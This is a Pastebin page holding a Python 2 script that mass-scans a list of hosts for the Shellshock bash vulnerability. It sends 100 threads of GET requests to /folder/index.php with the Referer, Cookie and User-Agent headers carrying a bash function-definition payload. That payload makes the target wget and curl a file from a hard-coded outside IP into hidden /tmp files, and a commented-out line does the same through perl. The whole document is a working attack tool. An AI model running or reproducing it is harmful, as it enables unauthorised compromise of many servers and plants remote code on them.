Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/env python
- import httplib
- from threading import Thread
- from Queue import Queue
- threads=100
- timeout=6
- path="/folder/index.php"
- #cmd="() { :;};/usr/bin/perl -e 'system(\"wget http://69.162.100.77/log.php -O /tmp/.a;curl -O /tmp/.b http://69.162.100.77/log.php\")'"
- cmd="() { :;};/bin/bash -c 'wget http://69.162.100.77/log.php -O /tmp/.a;curl -o /tmp/.b http://69.162.100.77/log.php'"
- headers={"Referer":cmd,"Cookie":cmd,"User-Agent":cmd}
- total=0
- def engine():
- while True:
- (count,target)=q.get()
- print "%d/%d %s" %(count,total,target)
- try:
- connection=httplib.HTTPConnection(target,80,timeout)
- connection.request("GET",path,headers)
- connection.sock.settimeout(timeout)
- response=connection.getresponse()
- connection.close()
- except Exception as e:
- True
- q.task_done()
- return
- def main():
- targets=[line.strip() for line in open("target.txt").readlines() if len(line.strip())>0]
- global total
- total=len(targets)
- print "%s hosts using %s threads" %(total,threads)
- global q
- q=Queue(threads*2)
- for i in range(threads):
- t=Thread(target=engine)
- t.daemon=True
- t.start()
- try:
- count=1
- for target in targets:
- q.put((count,target))
- count=count+1
- q.join()
- except KeyboardInterrupt:
- return
- if __name__=='__main__':
- main()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement